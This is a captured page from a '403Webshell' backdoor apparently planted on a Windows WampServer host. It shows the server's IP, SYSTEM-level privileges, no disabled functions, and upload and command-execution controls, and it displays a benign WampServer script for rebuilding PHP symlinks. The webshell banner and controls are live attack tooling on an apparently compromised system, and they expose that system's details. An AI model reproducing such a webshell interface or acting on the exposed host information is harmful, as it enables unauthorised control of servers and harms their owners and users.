403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.33
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/wamp/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/wamp/scripts/refreshSymlink.php
<?php

//Script to rebuild symbolic links
if(!defined('WAMPTRACE_PROCESS')) require 'config.trace.php';
if(WAMPTRACE_PROCESS) {
	$errorTxt = "script ".__FILE__;
	$iw = 1; while(!empty($_SERVER['argv'][$iw])) {$errorTxt .= " ".$_SERVER['argv'][$iw];$iw++;}
	error_log($errorTxt."\n",3,WAMPTRACE_FILE);
}

require 'config.inc.php';
require 'wampserver.lib.php';

$newPhpVersion = trim($_SERVER['argv'][1]);
$verify = (!empty($_SERVER['argv'][2])) ? true : false;
$doReport = (!empty($_SERVER['argv'][3]) && $_SERVER['argv'][3] == 'doreport') ? true : false;
$noCreate = (!empty($_SERVER['argv'][4]) && $_SERVER['argv'][4] == 'nocreate') ? true : false;
$message = '';

if($wampConf['CreateSymlink'] == 'copy') {
	echo "Since you are using file copies and not symbolic links,\nwe need to stop the Apache service before performing the checks.\nStop Apache service\n";
	$command = "CMD /D /C net stop ".$c_apacheService;
	`$command`;
}

// Re-create symbolic links
if(!$noCreate) linkPhpDllToApacheBin($newPhpVersion);

$checkSymlinkResult = CheckSymlink($newPhpVersion);

if($wampConf['CreateSymlink'] == 'copy') {
	echo "Start Apache service\n";
	$command = "CMD /D /C net start ".$c_apacheService;
	`$command`;
}

if(!$doReport) {
	if($checkSymlinkResult !== true) {
		$message .= color('red')."\n***** WARNING *****\n\n";
		$message .=  $checkSymlinkResult.color('reset');
		$message .= "\n--- Do you want to copy the results into Clipboard?\n--- Type 'y' to confirm - Press ENTER to continue...\n";
		Command_Windows($message,-1,-1,0,'Verify Symbolik links');
	  $confirm = trim(fgetc(STDIN));
		$confirm = strtolower(trim($confirm ,'\''));
		if($confirm == 'y') {
			write_file("temp.txt",$checkSymlinkResult, true);
			exit(0);
		}
	}
	elseif($verify) {
		$symTxt = ($wampConf['CreateSymlink'] == 'copy') ? 'copied files' : 'symbolic links';
		$message .= "All ".$symTxt." are OK\n\n";
		$message .= "Press ENTER to continue... ";
		Command_Windows($message,50,-1,0,'Verify Symbolik links');
		fgetc(STDIN);
		exit(0);
	}
}
else {
	$message = "--------------------------------------------------\n";
	$message .=  "***** Check symbolic links *****\n\n";
	if($checkSymlinkResult !== true)
		$message .= $checkSymlinkResult."\n";
	else
		$message .= "All symbolic links are OK\n";
	write_file($c_installDir."/wampConfReportTemp.txt",$message,false,false,'ab');
	exit;
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit